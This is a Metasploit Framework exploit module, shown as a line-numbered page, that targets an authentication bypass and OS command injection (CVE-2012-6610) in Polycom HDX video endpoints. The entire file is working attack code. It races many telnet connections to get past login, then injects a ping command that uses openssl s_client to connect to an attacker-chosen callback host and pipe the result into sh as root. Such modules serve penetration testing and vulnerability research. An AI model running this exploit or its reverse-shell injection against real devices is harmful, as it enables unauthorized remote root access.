Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
24387 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Polycom Command Shell Authorization Bypass',
16
'Alias' => 'polycom_hdx_auth_bypass',
17
'Author' => [
18
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
19
'h00die <[email protected]>', # submission/cleanup
20
],
21
'DisclosureDate' => '2013-01-18',
22
'Description' => %q{
23
The login component of the Polycom Command Shell on Polycom HDX
24
video endpoints, running software versions 3.0.5 and earlier,
25
is vulnerable to an authorization bypass when simultaneous
26
connections are made to the service, allowing remote network
27
attackers to gain access to a sandboxed telnet prompt without
28
authentication. Versions prior to 3.0.4 contain OS command
29
injection in the ping command which can be used to execute
30
arbitrary commands as root.
31
},
32
'License' => MSF_LICENSE,
33
'References' => [
34
[ 'CVE', '2012-6610' ],
35
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
36
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
37
[ 'EDB', '24494']
38
],
39
'Platform' => 'unix',
40
'Arch' => ARCH_CMD,
41
'Privileged' => true,
42
'Targets' => [ [ "Universal", {} ] ],
43
'Payload' => {
44
'Space' => 8000,
45
'DisableNops' => true,
46
'Compat' => { 'PayloadType' => 'cmd' }
47
},
48
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
Opt::RHOST(),
61
Opt::RPORT(23),
62
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
63
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
64
], self.class
65
)
66
register_advanced_options(
67
[
68
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
69
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
70
], self.class
71
)
72
end
73
74
def check
75
connect
76
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
77
Rex.sleep(1)
78
res = sock.get_once
79
disconnect
80
81
if !res && !res.empty?
82
return Exploit::CheckCode::Safe
83
end
84
85
if res =~ /Welcome to ViewStation/
86
return Exploit::CheckCode::Appears
87
end
88
89
Exploit::CheckCode::Safe
90
end
91
92
def exploit
93
# Keep track of results (successful connections)
94
results = []
95
96
# Random string for password
97
password = Rex::Text.rand_text_alpha(rand(5) + 1)
98
99
# Threaded login checker
100
max_threads = datastore['THREADS']
101
cur_threads = []
102
103
# Try up to 100 times just to be sure
104
queue = [*(1..datastore['MAX_CONNECTIONS'])]
105
106
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
107
until queue.empty?
108
while cur_threads.length < max_threads
109
110
# We can stop if we get a valid login
111
break unless results.empty?
112
113
# keep track of how many attempts we've made
114
item = queue.shift
115
116
# We can stop if we reach max tries
117
break unless item
118
119
t = Thread.new(item) do |count|
120
sock = connect
121
sock.put(password + "\n")
122
res = sock.get_once
123
124
until res.empty?
125
break unless results.empty?
126
127
# Post-login Polycom banner means success
128
if res =~ /Polycom/
129
results << sock
130
break
131
# bind error indicates bypass is working
132
elsif res =~ /bind/
133
sock.put(password + "\n")
134
# Login error means we need to disconnect
135
elsif res =~ /failed/
136
break
137
# To many connections means we need to disconnect
138
elsif res =~ /Error/
139
break
140
end
141
res = sock.get_once
142
end
143
end
144
145
cur_threads << t
146
end
147
148
# We can stop if we get a valid login
149
break unless results.empty?
150
151
# Add to a list of dead threads if we're finished
152
cur_threads.each_index do |ti|
153
t = cur_threads[ti]
154
unless t.alive?
155
cur_threads[ti] = nil
156
end
157
end
158
159
# Remove any dead threads from the set
160
cur_threads.delete(nil)
161
162
Rex.sleep(0.25)
163
end
164
165
# Clean up any remaining threads
166
cur_threads.each { |sock| sock.kill }
167
168
if !results.empty?
169
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
170
do_payload(results[0])
171
else
172
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
173
end
174
end
175
176
def do_payload(sock)
177
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
178
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
179
180
# Start a listener
181
start_listener(true)
182
183
# Figure out the port we picked
184
cbport = self.service.getsockname[2]
185
186
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
187
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
188
sock.put(cmd)
189
190
# Give time for our command to be queued and executed
191
1.upto(5) do
192
Rex.sleep(1)
193
break if session_created?
194
end
195
end
196
197
def stage_final_payload(cli)
198
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
199
cli.put(payload.encoded + "\n")
200
end
201
202
def start_listener(ssl = false)
203
comm = datastore['ListenerComm']
204
if comm == 'local'
205
comm = ::Rex::Socket::Comm::Local
206
else
207
comm = nil
208
end
209
210
self.service = Rex::Socket::TcpServer.create(
211
'LocalPort' => datastore['CBPORT'],
212
'SSL' => ssl,
213
'SSLCert' => datastore['SSLCert'],
214
'Comm' => comm,
215
'Context' =>
216
{
217
'Msf' => framework,
218
'MsfExploit' => self
219
}
220
)
221
222
self.service.on_client_connect_proc = proc { |client|
223
stage_final_payload(client)
224
}
225
226
# Start the listening service
227
self.service.start
228
end
229
230
# Shut down any running services
231
def cleanup
232
super
233
if self.service
234
print_status("Shutting down payload stager listener...")
235
begin
236
self.service.deref if self.service.is_a?(Rex::Service)
237
if self.service.is_a?(Rex::Socket)
238
self.service.close
239
self.service.stop
240
end
241
self.service = nil
242
rescue ::Exception
243
end
244
end
245
end
246
247
# Accessor for our TCP payload stager
248
attr_accessor :service
249
end
250
251